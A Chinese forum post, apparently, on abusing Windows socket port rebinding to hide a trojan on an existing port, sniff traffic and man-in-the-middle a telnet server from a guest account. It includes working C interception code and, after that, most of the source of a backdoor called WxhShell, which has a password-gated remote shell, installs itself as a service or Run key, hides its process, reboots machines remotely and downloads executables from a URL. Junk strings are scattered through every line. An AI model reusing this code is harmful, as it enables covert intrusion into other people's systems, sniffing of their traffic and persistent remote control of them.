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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]P TTI\n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rK*s/mX <  
hFw\uETu  
  saddr.sin_family = AF_INET; xMsos?5}  
w5l:^^zF(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <zN  
S;$@?vF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9.| +KIRb  
uQN8/Gy*J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 47_4`rzy;  
?~rF3M.=|  
  这意味着什么?意味着可以进行如下的攻击: 9l+`O0.@  
QD LXfl/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DBl.bgf  
0f vQPs!O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  6h N~<  
 Z*d8b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #&.& Uu$  
8uoFV=bj\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >9W ;u`  
. m_y5J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L0SeG:  
&I.UEF2,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mt7}1s,i[  
E%\iNU!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0SV#M6`GX  
cgsM]2ZYs  
  #include -@%*~^~z'  
  #include |KF X0*70  
  #include 'v4#mf  
  #include    OiX>^_iDt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2q J}5  
  int main() $}<+~JpGfP  
  { wJJ4F$"b  
  WORD wVersionRequested; BQv+9(:fQB  
  DWORD ret; F\+wM*:U  
  WSADATA wsaData; s+>""yi  
  BOOL val; cbl@V 1  
  SOCKADDR_IN saddr; ^_JD 7-g  
  SOCKADDR_IN scaddr; ;Jt*s  
  int err; d$s1l  
  SOCKET s; ~oI7TP  
  SOCKET sc; Vb06z3"r  
  int caddsize; `pF|bZ?v  
  HANDLE mt; \pZ,gF;y  
  DWORD tid;   4EzmH)4G  
  wVersionRequested = MAKEWORD( 2, 2 ); \4I1wdd|^  
  err = WSAStartup( wVersionRequested, &wsaData ); Y((s<]7  
  if ( err != 0 ) { %y33evX/B  
  printf("error!WSAStartup failed!\n"); goi.'8M|/b  
  return -1; (,PO(  
  } gF1q Z=<  
  saddr.sin_family = AF_INET; vpx8GiV  
   `h12  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {zBf*x  
aksyr$d0V<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C$\|eC j  
  saddr.sin_port = htons(23); <OF7:f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jcQ{,9 H`l  
  { l2>G +t(,  
  printf("error!socket failed!\n"); 9g+/^j^>?f  
  return -1; _{&znXf>?6  
  } _n_lO8mK  
  val = TRUE; -;'8#"{`^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QJp _>K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .pQH>;k]K  
  { ?:Y{c#w>  
  printf("error!setsockopt failed!\n"); JpE4 o2  
  return -1; zJ7vAL  
  } zcD&xoL\H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9H ?er_6Yf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bT}P":*y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CQ2{5  
EtJyI&7VK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ae:(_UJz  
  { oC>e'_6_b  
  ret=GetLastError(); y5iLFR3z  
  printf("error!bind failed!\n"); }kI-UEn$EP  
  return -1; on $?c  
  } /HgdTyR)  
  listen(s,2); Adgh:'h  
  while(1) Oi&.pY:X-  
  { !7@IWz(, "  
  caddsize = sizeof(scaddr); *}Zd QJL  
  //接受连接请求 cBM A.'uIL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ),0_ C\  
  if(sc!=INVALID_SOCKET) z`((l#(  
  { n(,b$_JK7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V0z.w:-  
  if(mt==NULL) G>&=rmK"  
  { Y8`4K*58%  
  printf("Thread Creat Failed!\n"); B:)9hF?o@  
  break; fLL_{o0T  
  } |{+D65R  
  } #9}E@GGs  
  CloseHandle(mt); g}0}$WgH:  
  } 1Vt7[L*  
  closesocket(s); _ 0%sYkUc  
  WSACleanup(); 5j1}?0v_  
  return 0; ii0AhQ  
  }   wxVf6`  
  DWORD WINAPI ClientThread(LPVOID lpParam) LU~U>  
  { u_s  
  SOCKET ss = (SOCKET)lpParam; v'Gqdd-#)  
  SOCKET sc; 9kL'"0c  
  unsigned char buf[4096]; Kvv&# eO\  
  SOCKADDR_IN saddr; LGKkT?fcSC  
  long num; FOgF'!K  
  DWORD val; }UZ$<81=  
  DWORD ret; 6Lz{/l8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -X5rGp++  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dG}fpQ3&  
  saddr.sin_family = AF_INET; X{\>TOk   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OEy'8O$  
  saddr.sin_port = htons(23); lBh|+K N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vC[)/w  
  { #sdW3m_%  
  printf("error!socket failed!\n"); FiJJe  
  return -1; _,_>B8  
  } o0&jel1a  
  val = 100; |Y|{9Osus  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B;Ab`UX#t  
  { 5WgdgDb@L  
  ret = GetLastError(); pbKDtqSn z  
  return -1; lb5Y$ZC  
  } D`0II=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5c($3Pno=  
  { q3JoU/Sf  
  ret = GetLastError(); EC$wi|i  
  return -1; p}_bu@;.Z  
  } x0@J~ _0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZdeRLX  
  { j':Ybr>BR  
  printf("error!socket connect failed!\n"); S*Un$ngAh  
  closesocket(sc); yd[}?  
  closesocket(ss); p{xO+Nx1a  
  return -1; tiSN amvG1  
  } K2>(C$Z  
  while(1) 1BwCJ7?8  
  { _C~e(/=z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2;r(?ebw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KG6ki_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &10vdAnBRC  
  num = recv(ss,buf,4096,0); eG9tn{  
  if(num>0) ,n TC7V  
  send(sc,buf,num,0); 3&_O\nD  
  else if(num==0) db`xlvrCY  
  break; Mz# &"WjF  
  num = recv(sc,buf,4096,0); |lOxRUf~  
  if(num>0) g* F?  
  send(ss,buf,num,0); U(]a(k<r  
  else if(num==0) ))cL+ r  
  break; 'A .c*<_  
  } bPEf2Z G4  
  closesocket(ss); ;X-~C.7k  
  closesocket(sc); FFb`4.  
  return 0 ; Enm#\(j  
  } //]g78]=O  
lHv;C*(_=  
8hba3L_Z  
========================================================== xOP%SF  
|8PUmax  
下边附上一个代码,,WXhSHELL `Gzukh  
))|Wm}  
========================================================== \.2?951}  
F7gipCc1We  
#include "stdafx.h" oh:q:St  
 XWV)   
#include <stdio.h> ' Dv `Gj  
#include <string.h> u$$@Hw  
#include <windows.h> 5:/ zbt\C  
#include <winsock2.h> I!&|L0Qq  
#include <winsvc.h> )9MmL-7K  
#include <urlmon.h> T^g2N`w2  
Rnt&<|8G  
#pragma comment (lib, "Ws2_32.lib") >(S4h}^I  
#pragma comment (lib, "urlmon.lib") <#<4A0:  
QCQku\GLV  
#define MAX_USER   100 // 最大客户端连接数 IlG)=?8XZ  
#define BUF_SOCK   200 // sock buffer Wz}RJC7p  
#define KEY_BUFF   255 // 输入 buffer _*h,,Q  
eU 'DQp*  
#define REBOOT     0   // 重启 Ls)y.u  
#define SHUTDOWN   1   // 关机 l-xKfp`  
b|U&{I>TH  
#define DEF_PORT   5000 // 监听端口 zJWBovT/  
0'*whhH  
#define REG_LEN     16   // 注册表键长度 ]4-lrI1#  
#define SVC_LEN     80   // NT服务名长度 ce th)Xm  
BM!\U 6  
// 从dll定义API G[n^SEY!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0"7 xCx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "-Gjw B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); exrsYo!%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); - FV$Sne  
L ?g|:  
// wxhshell配置信息 *`OgwMr)M  
struct WSCFG { $ r)+7i  
  int ws_port;         // 监听端口 azR<Y_tw  
  char ws_passstr[REG_LEN]; // 口令 u[9i>7}9  
  int ws_autoins;       // 安装标记, 1=yes 0=no MEMD8:['  
  char ws_regname[REG_LEN]; // 注册表键名 Y~EKMowI&e  
  char ws_svcname[REG_LEN]; // 服务名 RB.&,1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l4?o0;:)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lb ol+O65  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7;RhA5M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8 P85qa@w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EM!#FJh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h~haA8i?{  
?rID fEvV  
}; n.jF:  
 {I+   
// default Wxhshell configuration 6I GUp  
struct WSCFG wscfg={DEF_PORT, / 1 lIV_Z  
    "xuhuanlingzhe", s `fIeP  
    1, }VxbO8\b(  
    "Wxhshell", P3V=DOG"  
    "Wxhshell", BV,P;T0"D  
            "WxhShell Service", Cv862k P  
    "Wrsky Windows CmdShell Service", FVM:%S JjT  
    "Please Input Your Password: ", M-1 VB5  
  1, 0yr=$F(]s  
  "http://www.wrsky.com/wxhshell.exe", .}>d[},F  
  "Wxhshell.exe" u H[d%y/  
    }; +6 t<FH  
2:'C|  
// 消息定义模块 //cj$}Rn!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HKr")K%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "@U9'rKx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ON#\W>MK?  
char *msg_ws_ext="\n\rExit."; |3{DlZ2S  
char *msg_ws_end="\n\rQuit."; ufAp 7m@ud  
char *msg_ws_boot="\n\rReboot..."; z2Sp  
char *msg_ws_poff="\n\rShutdown..."; {vYmK#}  
char *msg_ws_down="\n\rSave to "; 6, \i0y5n  
JR{3n*  
char *msg_ws_err="\n\rErr!"; <Z5ak4P  
char *msg_ws_ok="\n\rOK!"; KD?~ hpg  
`l,=iy$  
char ExeFile[MAX_PATH]; 6}^0/ 76^,  
int nUser = 0; d2lOx|jt  
HANDLE handles[MAX_USER]; 4<._)_m  
int OsIsNt; oR (hL4Dc  
RaT(^b(  
SERVICE_STATUS       serviceStatus; n B4)%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y,EReamp  
dd1m~Gm  
// 函数声明 W$LaXytmak  
int Install(void); \hN\px  
int Uninstall(void); dK'?<w$  
int DownloadFile(char *sURL, SOCKET wsh); V&`\ s5Q  
int Boot(int flag); RN\4y{@  
void HideProc(void); x)0g31 4 9  
int GetOsVer(void); 9t@^P^}=\m  
int Wxhshell(SOCKET wsl); ?h UC#{  
void TalkWithClient(void *cs); 4GWt.+{J$  
int CmdShell(SOCKET sock); YVt#( jl  
int StartFromService(void); 9 2_F8y*D  
int StartWxhshell(LPSTR lpCmdLine); # D"TY-$.=  
<"w;:Zs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y: &?xR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [^xLK  
#- $?2?2  
// 数据结构和表定义 y~'F9E!i  
SERVICE_TABLE_ENTRY DispatchTable[] = ppr95 Y]^  
{ 2KVMQH`B9  
{wscfg.ws_svcname, NTServiceMain}, 9,|{N(N<!  
{NULL, NULL} ?95^&4Oh0  
}; qS<a5`EA  
m qgA  
// 自我安装 m^cr-'  
int Install(void) owL>w  
{ yoa"21E$  
  char svExeFile[MAX_PATH]; xLX<. z!r  
  HKEY key; 58\rl G  
  strcpy(svExeFile,ExeFile); #(& ! ^X3  
usEd p  
// 如果是win9x系统,修改注册表设为自启动 '9^+J7iO(+  
if(!OsIsNt) { A6ipA /_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -=BQVJ_dK{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Tr!/mf_  
  RegCloseKey(key); nIdB,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V5sH:A7GJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hJY= )  
  RegCloseKey(key); :l>&5w;  
  return 0; %UZ_wsY\  
    } pQ%~u3  
  } }~pT saw  
} 7=C$*)x  
else { *i zPLM}+  
[1Pw2MC<  
// 如果是NT以上系统,安装为系统服务 OAPR wOQ^=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &LM@_P"T  
if (schSCManager!=0) r&sm&4)p-5  
{ 1A\Jh3;Q  
  SC_HANDLE schService = CreateService i zJa`K  
  ( @wO"?w(  
  schSCManager, \jLn5$OW  
  wscfg.ws_svcname, ~]X4ru5,4  
  wscfg.ws_svcdisp, L,#ij!txS  
  SERVICE_ALL_ACCESS, Nd!0\ "AE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4_qd5K+n"  
  SERVICE_AUTO_START, ,grdl|Dg  
  SERVICE_ERROR_NORMAL, `^HAWo;J  
  svExeFile, 55xa Z#|  
  NULL, ut z.  
  NULL, =" Q5Z6W  
  NULL, l>K z5re^  
  NULL, 1{@f:~v?  
  NULL Uywi,9f  
  ); !K a!f1  
  if (schService!=0) >DX\^86x  
  { q\wT[W31@  
  CloseServiceHandle(schService); YEfa8'7R  
  CloseServiceHandle(schSCManager); w@&g9e6E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pvCn+y/U;  
  strcat(svExeFile,wscfg.ws_svcname); "@: b'm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xo{3r\u?}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); USF&;M3  
  RegCloseKey(key); 2{ ^k*Cfd  
  return 0; I4'mU$)U  
    } N&g9z{m7  
  } mlC_E)Ed5  
  CloseServiceHandle(schSCManager); } :U'aa  
} eytd@-7uX  
} Lc,`  
f9v%k'T[  
return 1; dIk/vg  
} sOzmw^7   
~=HrD?-99p  
// 自我卸载 1.\|,$  
int Uninstall(void) Q/[|/uNw?  
{ <P&~k\BuF{  
  HKEY key; H9nVtS{x  
I*c B Ha  
if(!OsIsNt) { WrvSYqN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fw ,'a  
  RegDeleteValue(key,wscfg.ws_regname); 2<&lrsh  
  RegCloseKey(key); <vS J< WY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b+/XVEsr  
  RegDeleteValue(key,wscfg.ws_regname); -I."= c%  
  RegCloseKey(key); ,>(/}=Z.  
  return 0; i}SJ   
  } 9MfBsp}c  
} E?%SOU<  
} EHpIbj;n  
else { qMy>: ,)Z  
p H&Tb4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &t .9^;(  
if (schSCManager!=0) Q1tZ]Q.6  
{ ?VC[%sjwn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eu!B ,  
  if (schService!=0) E-Z6qZ^  
  { D)C^'/8q  
  if(DeleteService(schService)!=0) { JkT , i_  
  CloseServiceHandle(schService); T)%34gN  
  CloseServiceHandle(schSCManager); 9 Yv;Dom  
  return 0; uJ:'<dJ  
  } @C[]o.r  
  CloseServiceHandle(schService); Y1 e>P  
  } r!Ujy .R  
  CloseServiceHandle(schSCManager); {2u#Q 7]|  
} aLr\Uq,83  
} &YMz3ugI  
9qyA{ |3  
return 1; yEYlQ=[#  
} o$dnp`E  
K/oC+Z;K  
// 从指定url下载文件 |#<PI9)`  
int DownloadFile(char *sURL, SOCKET wsh) Y=RdxCCx4  
{ ]ZJu  
  HRESULT hr; E]z Td$v6  
char seps[]= "/"; >uMj}<g#Z?  
char *token; -]8cw#y 0A  
char *file; 3;fuz Kk@b  
char myURL[MAX_PATH]; _-^bAr`z  
char myFILE[MAX_PATH]; S3cjw9V  
*}BaO*A  
strcpy(myURL,sURL); MQD%m ;[s  
  token=strtok(myURL,seps); i3C5"\y  
  while(token!=NULL) "Mt4~vy  
  { X\X* -.]{  
    file=token; GLI 5AbQK  
  token=strtok(NULL,seps); 7;cb^fi/  
  } oK cgP  
y+3< ] N  
GetCurrentDirectory(MAX_PATH,myFILE); B8Ob~?  
strcat(myFILE, "\\"); }e}J6 [wP  
strcat(myFILE, file); H(qDQqJHYy  
  send(wsh,myFILE,strlen(myFILE),0); g3B zi6$m  
send(wsh,"...",3,0); #vk-zx*v7=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H>8B$fi)$  
  if(hr==S_OK) 5xJyW`SWz  
return 0; ` VL`8  
else /S}0u}jID?  
return 1; wps`2`z  
!>$tRW?gH~  
} 'FB?#C%U  
9uk}r; %9  
// 系统电源模块 FD?!bI4  
int Boot(int flag) jJ^p ?  
{ 3GEI)!  
  HANDLE hToken; {d`e9^Z:  
  TOKEN_PRIVILEGES tkp; S+c)  
~udi=J |  
  if(OsIsNt) { J%|!KQl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 25xpq^Zw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eKd F-;  
    tkp.PrivilegeCount = 1; D ff0$06Nq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; , sEu[m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]y*AA58;  
if(flag==REBOOT) { MB$K ?"Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $JKR,   
  return 0; .~#<>  
} rLMjN#`^  
else { <DG=qP6O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VgfA&?4[  
  return 0; 5GD6%{\O  
} .+1.??8:+  
  } sflH{!;p  
  else { 0fgt2gA33  
if(flag==REBOOT) { [%U(l<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 21Z}Zj  
  return 0; HWe?vz$4"  
} fbF *C V  
else { \A gPkW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0(A(Vb5J.T  
  return 0; Jv  
} 0!v+ +  
} I[|5 DQ  
b!W!Vvf^x  
return 1; HCP' V  
}  $$E!u}  
2{!o"6t  
// win9x进程隐藏模块 [t^Z2a{  
void HideProc(void) 7CfHL;+m<4  
{ Fb#_(I[aj  
wLeP;u1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8l(_{Y5(-  
  if ( hKernel != NULL ) fVCpG~&t  
  { g_ z%L?N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n W2[x;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u<`CkYT  
    FreeLibrary(hKernel); ?C#=Q6  
  } Q v/}WnBk  
YVy+1q[  
return; 5a moK7  
} yp%7zrU  
lp`raN No  
// 获取操作系统版本 #7S[Ch}O  
int GetOsVer(void) ZJev_mj  
{ P;R`22\3  
  OSVERSIONINFO winfo; jOs&E^">&B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `TvpKS5.Y  
  GetVersionEx(&winfo); I$@0FSl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \$o5$/oU(  
  return 1; c]]OV7;)>  
  else =n_r\z  
  return 0; #Z8=z*4  
} wfH#E2+pk  
 6C6<,c   
// 客户端句柄模块 d` > '<  
int Wxhshell(SOCKET wsl) D$|@: mW  
{ aiP.\`>}  
  SOCKET wsh; 5c?1JH62o8  
  struct sockaddr_in client; $5XE'm  
  DWORD myID; >3R)&N  
, VT&  
  while(nUser<MAX_USER) ml=tS,  
{ 5 rpX"(  
  int nSize=sizeof(client); z:B4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vf S&V*un  
  if(wsh==INVALID_SOCKET) return 1; }E626d}uA  
[R$iX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <=;#I_E#E  
if(handles[nUser]==0) 4L(/Z}(  
  closesocket(wsh); (=n{LMa  
else C*A!`Q?1Y  
  nUser++; Y%AVC9(  
  } 'l,ym~R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B5'-v%YO+  
v8Ga@*  
  return 0; ,tt]C~\u  
} jqULg iC  
ttlFb]zZh  
// 关闭 socket n&V\s0  
void CloseIt(SOCKET wsh) L+s3@ C;b  
{ #l kv&.)x  
closesocket(wsh); IbFS8 *a\  
nUser--; JQCQpn/  
ExitThread(0); H+UA  
} xVOoYr>O  
$n |)M+d  
// 客户端请求句柄 |X:"AH"S  
void TalkWithClient(void *cs) WP/?(%#Y  
{ 8 KH|:>s=  
V/C":!;  
  SOCKET wsh=(SOCKET)cs; DEj6 ky  
  char pwd[SVC_LEN]; @LQe[`  
  char cmd[KEY_BUFF]; !zc?o?~z  
char chr[1]; nksx|i l  
int i,j; {OA2';3  
~\;s}Fv.  
  while (nUser < MAX_USER) { ]3B8D<p  
L\1&$|?  
if(wscfg.ws_passstr) { u-yVc*<,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(jp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b^WTX  
  //ZeroMemory(pwd,KEY_BUFF); hfUN~89;  
      i=0; /DxaKZ ;b  
  while(i<SVC_LEN) { s,&tD WU  
sFh mp  
  // 设置超时 Pc"g  
  fd_set FdRead; 8UY[$lc  
  struct timeval TimeOut; rVo0H.+N)`  
  FD_ZERO(&FdRead); =1qM`M   
  FD_SET(wsh,&FdRead); 0$8iWL  
  TimeOut.tv_sec=8; Mi+<|5is  
  TimeOut.tv_usec=0; VJp; XM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TGUlJLT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S6~&g|T,  
OsQB` D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X@:[.eI~  
  pwd=chr[0]; E?,O>bCJ5  
  if(chr[0]==0xd || chr[0]==0xa) { >93I|C|  
  pwd=0; X8l|^ [2F  
  break; Rn(6Fk?   
  } BO6u<cu"-  
  i++; 1DzI@c~X  
    } -M{.KqyW  
mU d['Z  
  // 如果是非法用户,关闭 socket ?]1_ 2\M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (e,5 b  
} <d&9`e1Hc  
E'_3U5U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?<mxv"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ",9QqgY+  
^5{M@o  
while(1) { =t,}I\_^c  
C"X; ,F<  
  ZeroMemory(cmd,KEY_BUFF); Cp[{| U-?G  
xA?(n!{P  
      // 自动支持客户端 telnet标准   /j}"4_. 8  
  j=0; >ZX&2 {  
  while(j<KEY_BUFF) { 2h:*lV^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WoYXXYP/E  
  cmd[j]=chr[0]; YfB8  
  if(chr[0]==0xa || chr[0]==0xd) { QC/%|M0 {  
  cmd[j]=0; m]XG7:}V0  
  break; 5 5$J% ;&  
  } )HaW# ,XB  
  j++; ]Ak/:pu  
    } -OvzEmI"  
w-2?|XvDmf  
  // 下载文件 ;:)1:Dy5  
  if(strstr(cmd,"http://")) { Y/|wOm;|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iL vzoQ  
  if(DownloadFile(cmd,wsh)) (fSpY\JPI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -UTTJnu^  
  else h_xHQf&#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xna4W|-  
  } yu^n;gWH  
  else { "2J$~2{N  
Hi V7  
    switch(cmd[0]) { -chk\75  
  3G r:.V9=  
  // 帮助 *=b# >//  
  case '?': { Py}] {?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qj:`[#3?2  
    break; 5Xe1a'n5]  
  } .|Ee,Un  
  // 安装 Y2Z<A(W  
  case 'i': { Z+3j>_Ss  
    if(Install()) vv 7T/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZKk*2EK]2z  
    else ysHmi{V~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OVy ZyZ#  
    break; {y>o6OTITR  
    } x JXPtm  
  // 卸载 .66_g@1  
  case 'r': { dc]D 8KX  
    if(Uninstall()) =.<S3?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); liU/O:Ap  
    else IRq@~vdt)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f>i" j  
    break; S(&]?!  
    } Pr>Pxsr&  
  // 显示 wxhshell 所在路径 >I*Qc<X91  
  case 'p': { *{#l0My  
    char svExeFile[MAX_PATH]; O /S:S  
    strcpy(svExeFile,"\n\r"); czp .q  
      strcat(svExeFile,ExeFile); rhr(uCp/  
        send(wsh,svExeFile,strlen(svExeFile),0); v \xuq`  
    break; x!@3.$  
    } B#Q=Fo 6  
  // 重启 Lt<KRs  
  case 'b': { GM{J3O=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z]\CI:  
    if(Boot(REBOOT)) JGZxNUr^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DpiX&^h   
    else { 6`V2-zv$  
    closesocket(wsh); `8D)j>Yh~  
    ExitThread(0); Bkq3-rX\  
    } i!tF{'*%#  
    break; $h)VKW^\  
    } I7Uj<a=(q  
  // 关机 K]bw1K K  
  case 'd': { S2!$  
